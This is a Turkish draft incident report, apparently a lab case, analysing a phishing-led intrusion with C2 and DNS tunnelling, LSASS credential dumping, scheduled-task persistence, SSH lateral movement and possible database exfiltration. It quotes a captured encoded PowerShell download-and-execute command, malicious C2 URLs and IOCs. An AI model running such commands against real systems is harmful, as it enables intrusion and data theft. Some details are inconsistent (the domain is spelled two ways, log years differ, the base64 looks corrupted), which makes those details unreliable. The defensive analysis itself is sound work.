

OLAY RAPORU (TASLAK)

INC-2026-0914-02

FIN-WS03 Üzerinde Phishing Kaynaklı Çok Aşamalı Saldırı: C2/DNS Tünelleme, Kimlik Bilgisi Hırsızlığı, Persistence ve Olası Lateral Movement / Exfiltration

Sistemler: FIN-WS03 (Windows iş istasyonu, 192.168.20.45) , app-db01 (Linux DB sunucu)

Etkilenen hesaplar: b.kaya (FIN-WS03) , svc-backup (app-db01)

Tarih: 14 Eylül 2026

Veri kaynakları: case2:mail, case2:firewall, case2:dns, case2:sysmon, case2:winsecurity, case2:auth (Splunk, index=case2)

Özet ve Kapsam

14 Eylül günü FIN-WS03 üzerinde, spoofed bir gönderici adresinden (billing@acme-invoices.com, spf=fail, dkim=none) gelen ve mail gateway tarafından yine de teslim edilen bir fatura eki (Fatura_2026_4471.docm), kullanıcı b.kaya tarafından açıldı. Dosyanın açılmasıyla WINWORD.EXE → mshta.exe → powershell.exe → svchost_update.exe → m.exe şeklinde bir process zinciri tetiklendi; bu zincir hem 45.137.21.88 (static-cdn-analytics.com) adresine ~28 dakika süren düzenli bir C2/beacon trafiği açtı hem de aynı pencerede dört adet TXT/NXDOMAIN sorgusuyla DNS tünelleme örüntüsü üretti. Zincirin sonunda m.exe, lsass.exe'ye credential-dumping imzasıyla eşleşen bir erişim gerçekleştirdi ve ardından kalıcılık için bir scheduled task (SystemTelemetrySync) oluşturuldu.

Aynı gün, FIN-WS03'ün IP'sinden svc-backup hesabıyla parola tabanlı bir SSH girişiyle app-db01 sunucusuna erişildi ve müşteri veritabanı bir arşive sıkıştırıldı (db_dump.tgz). Bu arşivin dışarı çıkıp çıkmadığı doğrudan kanıtlanamadı, ancak C2 kanalının kapanmasından ~71 dakika sonra FIN-WS03'ten bilinmeyen bir dış IP'ye (185.220.101.44) 480 MB'lık bir transfer gözlemlendi; bu transferi hangi process'in yaptığı, Sysmon'daki ağ görünürlüğü boşluğu nedeniyle belirlenemiyor.

Olay; phishing ile başlayan, LOLBin kötüye kullanımı, DNS tünelleme, credential dumping, scheduled task persistence, olası lateral movement ve olası exfiltration içeren çok aşamalı bir zincirdir. Zincirin büyük kısmı PID/ParentProcessId ile OBSERVED seviyesinde doğrulanmıştır; iki kritik nokta (task'ı tetikleyen process, 480MB transferin kaynağı) görünürlük boşluğu nedeniyle INFERRED seviyesinde kalmıştır.

Zaman Çizelgesi

Saat	Kaynak	Olay	Varlık	Değerlendirme
08:29:50	winsecurity (4624)	b.kaya normal logon (LogonType=2, IP=127.0.0.1) — güne tek giriş	FIN-WS03	OBSERVED
09:12:04	mail	SMTP bağlantısı unknown[45.137.21.88] üzerinden kuruldu	mail gateway	OBSERVED
09:12:05	mail	Fatura_2026_4471.docm eki geldi — from=billing@acme-invoices.com, spf=fail, dkim=none, disposition=delivered	b.kaya	OBSERVED
09:41:12	sysmon	WINWORD.EXE, Fatura_2026_4471.docm dosyasını açtı (PID 3990, PPID 2400)	FIN-WS03 / b.kaya	OBSERVED
09:41:15	dns	static-cdn-analytics.com ilk kez 45.137.21.88'e çözümlendi (beacon başlangıcı)	FIN-WS03	OBSERVED
09:41:18	sysmon	mshta.exe tetiklendi (PID 4820, PPID 3990), static-cdn-analytics.com/u.hta çağrıldı	FIN-WS03	OBSERVED
09:41:19	sysmon	powershell.exe encoded komutla başlatıldı (PID 5012, PPID 4820)	FIN-WS03	OBSERVED
09:41:24	sysmon	powershell.exe, 45.137.21.88:443 bağlantısı açtı (EventID=3)	FIN-WS03	OBSERVED
09:41:31	sysmon	svchost_update.exe başlatıldı (PID 5240, PPID 5012)	FIN-WS03	OBSERVED
09:41:15 –10:09:35	dns	38 A-record beacon (60-63sn aralık) + 09:51:20 / 09:56:25 / 10:01:28 / 10:05:30'da TXT/NXDOMAIN tünelleme sorguları — beacon burada tamamen duruyor	FIN-WS03	OBSERVED

Saat	Kaynak	Olay	Varlık	Değerlendirme
09:41-10:09	firewall	45.137.21.88'e 32 düzenli bağlantı	FIN-WS03	OBSERVED
10:05:47	sysmon	m.exe başlatıldı (PID 5990, PPID 5240)	FIN-WS03	OBSERVED
10:05:48	sysmon (EventID=10)	m.exe → lsass.exe erişimi, GrantedAccess=0x1410	FIN-WS03	OBSERVED (girişim) / INFERRED (başarı)
10:31:44	auth	svc-backup, parola ile SSH girişi, kaynak FIN-WS03 (192.168.20.45)	app-db01	OBSERVED
10:33:02	auth	sudo: svc-backup → root, tar -czf /tmp/db_dump.tgz /var/lib/mysql/customers	app-db01	OBSERVED
10:36:20	auth	svc-backup oturumu kapandı	app-db01	OBSERVED
10:38:02	winsecurity (4698)	SystemTelemetrySync scheduled task oluşturuldu (SubjectUserName=b.kaya) — static-cdn-analytics.com/b.exe'yi indirip svchost_update.exe adıyla çalıştırıyor; ek logon yok; tetikleyen process sysmon'da görünmüyor	FIN-WS03	OBSERVED (oluşturma) / INFERRED (kaynak process)
11:20:37	firewall	480 MB (503.316.480 byte) transfer, hedef 185.220.101.44 — sysmon'da görünürlük yok	FIN-WS03	OBSERVED (transfer) / INFERRED (db_dump.tgz bağlantısı)

Bulgular ve Kanıtlar

1. Spoofed fatura maili

Mail gateway, spf=fail ve dkim=none olan Fatura_2026_4471.docm ekini yine de teslim etti; gönderim IP'si (45.137.21.88) zincirin C2 hedefiyle aynı çıktı.

index=case2 sourcetype=case2:mail head 5		Time range: All time	Q	+
a date_wday 1 # date_year 1 a date_zone 1 a disposition 1 a dkim 2 a from 4 a index 1 # linecount 1 a msgid 4	>	9/14/26 9:12:05.000 AM	2026-09-14T09:12:05 mailgw smtp-gw: msgid=<9f23c@acme-invoices.com> from=<billing@acme-invoices.com> to=<b.kaya@company.local> subject="Fatura #2026-4471 Odeme Bekliyor" attachment="Fatura_2026_4471.docm" attach_sha256=dd50d653c274434bcd62fbde66b49e144ac0658f844ea0528b3cc035dc3a2540 spf=fail dkim=none disposition=delivered host = mailgw source = Case2-mail.log sourcetype = case2:mail	

2. Execution - LOLBin zinciri ve C2 bağlantısı

Sysmon'da WINWORD.EXE → mshta.exe → powershell.exe → svchost_update.exe → m.exe
PID/ParentProcessId zinciri görüldü, powershell.exe 45.137.21.88:443'e bağlandı.

_time	EventID	Image	ProcessId	ParentProcessId
2026-09-14 08:35:02	1	C:\Windows\System32\svchost.exe	980	612
2026-09-14 09:05:41	1	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE	3120	2400
2026-09-14 09:33:10	1	C:\Program Files\Google\Chrome\Application\chrome.exe	3600	2400
2026-09-14 09:41:12	1	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	3990	2400
2026-09-14 09:41:18	1	C:\Windows\System32\mshta.exe	4820	3990
2026-09-14 09:41:19	1	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	5012	4820
2026-09-14 09:41:24	3	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	5012	4
2026-09-14 09:41:31	1	C:\Users\b.kaya\AppData\Local\Temp\svchost_update.exe	5240	5012
2026-09-14 10:05:47	1	C:\Users\b.kaya\AppData\Local\Temp\m.exe	5990	5240
2026-09-14 10:05:48	10			
2026-09-14 10:40:12	1	C:\Windows\System32\notepad.exe	6210	2400

>	9/14/26 9:41:24.000 AM	2026-09-14T09:41:24 FIN-WS03 Microsoft-Windows-Sysmon/Operational: EventID=3 Image="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" DestinationIp=45.137.21.88 DestinationHostname=static-cdn-analytics.com DestinationPort=443 Protocol=tcp User="COMPANY\b.kaya" ProcessId=5012 host = FIN-WS03 source = Case2-sysmon.log sourcetype = case2:sysmon
---	---------------------------	--

3. C2 / DNS tünelleme - Beacon profili

45.137.21.88'e 32 firewall bağlantısı, 38 düzenli A-record beacon ve 4 adet TXT/NXDOMAIN tünelleme sorgusu tespit edildi.

< Hide Fields	All Fields	i	Time	Event
SELECTED FIELDS a host 1 a source 1 a sourcetype 1 INTERESTING FIELDS # date_hour 2 # date_mday 1 # date_minute 4 a date_month 1 # date_second 4 a date_wday 1 # date_year 1 a date_zone 1 a index 1 # linecount 1 a punct 1 a splunk_server 1 # timeendpos 1 # timestartpos 1 + Extract New Fields		>	9/14/26 10:05:30.000 AM	2026-09-14T10:05:30 dns-resolver query: clie 192.168.20.45#52023 query: ecc487c2e0a28fc41e3791f6ba83.static-cdn-analytics.com IN TXT sponse: NXDOMAIN host = dns-resolver source = Case2-dns.log sourcetype = case2:dns
		>	9/14/26 10:01:28.000 AM	2026-09-14T10:01:28 dns-resolver query: clie 192.168.20.45#52019 query: 1ebc26b8664fcd8576d5fa106d9a.static-cdn-analytics.com IN TXT sponse: NXDOMAIN host = dns-resolver source = Case2-dns.log sourcetype = case2:dns
		>	9/14/26 9:56:25.000 AM	2026-09-14T09:56:25 dns-resolver query: clie 192.168.20.45#52014 query: 0ad7196551fe0fb8815a26e814db.static-cdn-analytics.com IN TXT sponse: NXDOMAIN host = dns-resolver source = Case2-dns.log sourcetype = case2:dns
		>	9/14/26 9:51:20.000 AM	2026-09-14T09:51:20 dns-resolver query: clie 192.168.20.45#52009 query: c6b3dc2bcc90b3e7586212d10663.static-cdn-analytics.com IN TXT sponse: NXDOMAIN host = dns-resolver source = Case2-dns.log sourcetype = case2:dns

4. Credential Access — LSASS erişimi

m.exe (PID 5990), lsass.exe'ye GrantedAccess=0x1410 ile erişim; bu, klasik bir credential-dumping imzası.

SourceImage	SourceProcessId	TargetImage	TargetProcessId	GrantedAccess
C:\Users\b.kaya\AppData\Local\Temp\m.exe	5990	C:\Windows\System32\lsass.exe	712	0x1410

5. Persistence - Scheduled Task

SystemTelemetrySync görevi (4698), static-cdn-analytics.com/b.exe'yi indirip svchost_update.exe adıyla çalıştıracak şekilde tanımlandı.

< Hide Fields	All Fields	i	Time	Event
SELECTED FIELDS a host 1 a source 1 a sourcetype 1 INTERESTING FIELDS # date_hour 1 # date_mday 1 # date_minute 1 a date_month 1 # date_second 1 a date_wday 1 # date_year 1		>	9/14/26 10:38:02.000 AM	2026-09-14T10:38:02 FIN-WS03 EventCode=4698 SubjectUserName=b.kaya SubjectDomainName=COMPANY TaskName=\SystemTelemetry Sync TaskContent="powershell.exe -w hidden -nop -enc JABjAD0ATgB1AHcALQBPAGIAagB1AGMadAagAE4AZQB0AC4AVwB1AGIAQwBsAGkAZQBUAHQAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAOACcAaAB0AHQACAA6AC8ALwBzAHQAYQB0AGkAYwAtAGMAZABuAC0AYQBuaGEAbAB5AHQAaQBJAHMALgBjAG8AbQAvAGIALgB1AHgAZQAnACwAIgAkAGUAbgB2ADoAVA BFAE0AUABcAHMAdgBjAGgAbwBzAHQAXwB1AHAAZABhAHQAZQAUAGUAEAB1A C1AKQA7AFMadABhAHIAAdAAtAFAAcgBvAGMAZQBzAHMAIAA1ACQAZQBUAHYA OgBUAEUATQBQAFwACwB2AGMAaABvAHMAdABfAHUAACABkAGEAdAB1AC4AZQB 4AGUAIgA=" host = FIN-WS03 source = Case2-winsecurity.log sourcetype = case2:winsecurity

6. Lateral Movement - app-db01'e SSH giriři

svc-backup hesabı, normalde publickey/farklı IP ile giriş yaparken, bu kez parola ile ve FIN-WS03'ün IP'sinden app-db01'e giriş yaptı; ardından müşteri veritabanı arřıvlendi.

_time ↕	_raw ↕
2025-09-14 03:00:04	Sep 14 03:00:04 app-db01 sshd[1120]: pam_unix(sshd:session): session opened for user svc-backup(uid=1500) by (uid=0)
2025-09-14 03:00:04	Sep 14 03:00:04 app-db01 sshd[1120]: Accepted publickey for svc-backup from 192.168.30.10 port 40122 ssh2: RSA SHA256:a9LYXmc4tp6DnjeFc0jcZRLi5tyn2cJxK4Fa/tMg
2025-09-14 03:12:41	Sep 14 03:12:41 app-db01 sshd[1120]: pam_unix(sshd:session): session closed for user svc-backup
2025-09-14 10:31:44	Sep 14 10:31:44 app-db01 sshd[8123]: pam_unix(sshd:session): session opened for user svc-backup(uid=1500) by (uid=0)
2025-09-14 10:31:44	Sep 14 10:31:44 app-db01 sshd[8123]: Accepted password for svc-backup from 192.168.20.45 port 44122 ssh2
2025-09-14 10:33:02	Sep 14 10:33:02 app-db01 sudo: svc-backup : TTY=pts/0 ; PWD=/home/svc-backup ; USER=root ; COMMAND=/usr/bin/tar -czf /tmp/db_dump.tgz /var/lib/mysql/customers
2025-09-14 10:36:20	Sep 14 10:36:20 app-db01 sshd[8123]: pam_unix(sshd:session): session closed for user svc-backup

7. Olası Exfiltration - 480MB transfer

Firewall'da 185.220.101.44'e giden 480MB'lık bir transfer görüldü, ancak Sysmon'da bu bağlantıya dair hiçbir process/PID bilgisi yok.

dst ↕	count ↕	total_bytes_out ↕	total_bytes_in ↕	first_seen ↕	last_seen ↕
45.137.21.88	32	19405	53497	09/14/2026 09:41:24	09/14/2026 11:25:10
104.16.85.20	1	1500	88000	09/14/2026 09:33:12	09/14/2026 09:33:12
142.250.187.4	1	900	30000	09/14/2026 09:10:03	09/14/2026 09:10:03
185.220.101.44	1	503316480	5120	09/14/2026 11:20:37	09/14/2026 11:20:37
23.55.11.10	1	1200	45000	09/14/2026 08:30:16	09/14/2026 08:30:16
52.96.42.10	1	2200	60000	09/14/2026 10:50:00	09/14/2026 10:50:00

Kanıt Derecesi

IOC Listesi

Tür	Değer	Değerlendirme	Kanıt
Domain	static-cdn-analytics.com	Confirmed malicious (C2 + persistence kaynağı)	dns, sysmon, winsecurity
IP	45.137.21.88	Confirmed malicious (C2/beaconing hedefi)	firewall, dns, sysmon, mail
IP	185.220.101.44	Suspicious (olası exfiltration hedefi) —	firewall

Tür	Değer	Değerlendirme	Kanıt
		görünürlük boşluğu nedeniyle process/bağlam bilgisi yok	
Dosya	Fatura_2026_4471.docm (SHA256: dd50d653c274434bcd62fbde66b49e144ac0658f844ea0528b3cc035dc3a2540)	Confirmed malicious (initial delivery)	sysmon, mail
E-posta adresi	billing@acme-invoices.com	Confirmed malicious (spoofed sender — spf=fail, dkim=none)	mail
URL	http://static-cdn-analyticons.com/u.hta	Confirmed malicious	sysmon
URL	http://static-cdn-analyticons.com/b.exe	Confirmed malicious (persistence payload)	winsecurity (decoded task content)
Dosya adı	svchost_update.exe — Temp altında (SHA256: 746f10f315b4beb6823d1b47539e6c44079434d00e0efa4baa2b30be6b1f3d2b)	Confirmed malicious (masquerading)	sysmon
Dosya adı	m.exe — Temp altında (SHA256: 97ef7e9ffbcecb476ee47b94fe86b5fc57b30a41f6933cffc3dc8b4ae6f2854e)	Confirmed malicious (credential dumping aracı)	sysmon
Scheduled Task	SystemTelemetrySync	Confirmed malicious (persistence)	winsecurity
Hesap	b.kaya	Kullanılan hesap (FIN-WS03) — kasıtsız kullanım OBSERVED	sysmon, winsecurity, mail, 4624

Tür	Değer	Değerlendirme	Kanıt
		seviyesinde doğrulandı (ek logon yok)	
Hesap	svc-backup	Kullanılan hesap (app-db01) — meşru mü kötüye mi kullanılmış tam netleşmedi	auth
Host	FIN-WS03 (192.168.20.45)	Ele geçirilmiş host	tüm kaynaklar
Dosya	/tmp/db_dump.tgz (app-db01)	Muhtemel exfiltration hazırlığı — bağlantısı henüz kesinleşmedi	auth

MITRE ATT&CK Eşlemesi

Teknik Adı	ID	Gözlemlenen Davranış	Confidence
Phishing: Spearphishing Attachment	T1566.001	Fatura_2026_4471.doc m eki, spoofed sender (spf=fail, dkim=none)	Yüksek
User Execution: Malicious File	T1204.002	Kullanıcının .docm dosyasını açması	Orta
System Binary Proxy Execution: Mshta	T1218.005	mshta.exe ile uzaktan .hta çalıştırma	Yüksek
Command and Scripting Interpreter: PowerShell	T1059.001	Encoded powershell komutu	Yüksek
Application Layer Protocol: Web Protocols	T1071.001	powershell.exe'nin HTTPS (443) üzerinden C2	Yüksek

Teknik Adı	ID	Gözlemlenen Davranış	Confidence
Application Layer Protocol: DNS	T1071.004	38 A-record beacon + 4x TXT/NXDOMAIN sorgusu, düzenli aralık	Yüksek
Masquerading	T1036.005	svchost_update.exe, meşru Windows dosya adını taklit ediyor	Yüksek
Scheduled Task/Job: Scheduled Task	T1053.005	SystemTelemetrySync görevi	Yüksek
OS Credential Dumping: LSASS Memory	T1003.001	m.exe → lsass.exe erişimi, GrantedAccess=0x1410	Yüksek (girişim), başarı doğrulanmadı
Valid Accounts	T1078	svc-backup hesabıyla FIN-WS03'ten app-db01'e giriş	Orta
Remote Services: SSH	T1021.004	svc-backup, FIN-WS03'ten SSH ile app-db01'e bağlandı	Orta
Archive Collected Data	T1560	tar -czf db_dump.tgz	Orta
Exfiltration Over C2 Channel	T1041	480 MB transfer, 185.220.101.44 — DNS/HTTPS C2 kanalı 10:09'da kapanmış, transfer 71 dk sonra	Düşük
Exfiltration Over Alternative Protocol	T1048	480 MB → 185.220.101.44, C2 IP'sinden farklı hedef, ayrı/görünürlüğü olmayan bağlantı	Düşük — T1041/T1048 arasında kesin karar verilemiyor

Görünürlük Boşlukları

1. Scheduled task'ın kaynak process'i. SystemTelemetrySync task'ının (10:38:02) hangi process tarafından oluşturulduğu Sysmon EventID=1 verisinde gözlemlenemiyor; 10:05:47–10:40:12 arasında hiçbir process creation kaydı yok. 4624 sorgusu, task'ın ayrı bir saldırgan oturumu değil, mevcut oturum içinde oluştuğunu OBSERVED seviyesinde doğruluyor, ama tetikleyen process INFERRED kalıyor. **Çözecek kaynak:** Sysmon config/filtreleme ayarlarının doğrulanması; PowerShell Script Block Logging (Event ID 4104).

2. Network connection logging kapsamı (185.220.101.44). Sysmon EventID=3, FIN-WS03 için tüm zaman aralığında sadece 1 kayıt içeriyor. 45.137.21.88'e giden diğer 31 bağlantı ve 185.220.101.44'e giden 480MB'lık transfer, hiçbirinde process/PID/port bilgisi yok — host genelinde network telemetrisi yetersiz.

Çözecek kaynak: Sysmon EventID=3 filtreleme kurallarının incelenmesi; proxy/NGFW content-aware loglama veya EDR network telemetrisinin çapraz kontrolü.

Sonuç

Phishing ile başlayan olay, LOLBin kullanımı ve DNS tünelleme üzerinden C2 kurulmasına, ardından persistence sağlanmasına kadar OBSERVED seviyesinde kanıtlanmış durumda; olası lateral movement ve exfiltration kısımları ise henüz kesinleşmedi.